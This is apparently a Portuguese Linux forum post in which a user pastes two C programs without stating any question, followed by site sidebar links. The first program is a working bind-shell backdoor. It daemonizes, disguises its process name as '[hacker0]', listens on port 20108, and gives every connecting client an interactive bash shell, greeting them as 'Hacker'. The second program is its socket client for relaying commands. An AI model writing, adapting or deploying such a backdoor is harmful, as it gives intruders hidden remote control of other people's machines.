
Enviado em 14/05/2015 - 12:11h
Bom dia Tenho esses dois programas#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <unistd.h>
#include "SocketTcp.h"
#define PORT 20108
void filho(int fd){
close(0);
close(1);
close(2);
dup2(fd, 0);
dup2(fd, 1);
dup2(fd, 2);
send(fd, "\n\n -- Bem vindo Hacker --\n\n", strlen("\n\n -- Bem vindo Hacker --\n\n"), 0);
execl("/bin/bash", "bash", "-i", (char *)0);
exit(1);
}
int main(int argc, char const *argv[])
{
daemon(0, 0);
setsid();
int rec;
Socket s, novo;
int pid;
int stat;
strcpy(argv[0], "[hacker0]");
while(true){
if(setSocketServer(&s, NULL, PORT, 1) == true){
break;
}
sleep(30);
}
while(true){
if(getAccept(&s, &novo) == false){
continue;
}
pid = fork();
if(pid == 0){
filho(getFd(novo));
}
wait(&stat);
closeSocket(&novo);
}
closeSocket(&s);
closeSocket(&novo);
return 0;
}
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
// blibioteca para socket Tcp
#include "SocketTcp.h"
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <fcntl.h>
#include <sys/time.h>
#include <sys/types.h>
#define PORT 20108
#define IP "127.0.0.1"
#define MAX_BUFFER 2000
#define PASS "EXIT"
int main(int argc, char const *argv[]){
// estrutura que representa um socket
Socket s;
char bufferOUT[100];
char bufferIN[MAX_BUFFER];
fd_set in;
struct timeval tv;
int sso, retval;
// configura o todas estruturas e verifica erros
if(setSocket(&s, IP, PORT) == false){
perror("setSocket");
return 1;
}
// chama o connect e verifica erros
if(getConecao(&s) == false){
perror("getConecao");
return 1;
}
FD_ZERO(&in);
FD_SET(0, &in);
FD_SET(getFd(s), &in);
sso = fcntl(getFd(s), F_GETFL, 0);
fcntl(getFd(s), F_SETFL, sso | O_NONBLOCK);
tv.tv_sec = 1;
tv.tv_usec = 0;
while(true){
FD_ZERO(&in);
FD_SET(0, &in);
FD_SET(getFd(s), &in);
int rr = select(getFd(s)+1, &in, NULL, NULL, &tv);
//printf("Test 1\n");
if(rr < 0){
perror("select");
break;
}
if(rr == 0){
tv.tv_sec = 1;
tv.tv_usec = 0;
}
if(rr && FD_ISSET(getFd(s), &in) ){
//printf("Test 3\n");
int r;
memset(bufferIN, 0, MAX_BUFFER);
r = read(getFd(s), bufferIN, MAX_BUFFER);
if(r < 0){
perror("read");
break;
}
if(r == 0){
printf("Connection closed by the remote end\n");
break;
}
bufferIN[r] = '\0';
printf(" Recebendo: %s\n",bufferIN);
fflush(0);
}
if(rr && FD_ISSET(0, &in) ){
//printf("Test 2\n");
int r;
memset(bufferOUT, 0, 100);
r = read(0, bufferOUT, 100);
if(r < 0){
perror("read");
break;
}
//printf("enviado: %s\n", bufferOUT);
write(getFd(s), bufferOUT, r);
}
}
closeSocket(&s);
printf("Em Fim!!!\n");
return 0;
}
O Journal no Linux para a guarda e consulta de logs do sistema
A evolução do Linux e as mudanças que se fazem necessárias desde o seu lançamento
Maquina modesta - a vez dos navegadores ferrarem o usuario
Fscrypt: protegendo arquivos do seu usuário sem a lentidão padrão de criptograr o disco
Sway no Arch Linux: configuração Inicial sem enrolação
Resolvendo o bloqueio do Módulo Warsaw no Arch Linux (Porta 30900)
Continuando meus tópicos anteriores (1)
Saída de loop após teste de if. (2)
Governo da França vai trocar Windows por Linux (9)
Warsaw não é reconhecido no Google Chrome 147.0.7727.55 [RESOLVIDO] (9)









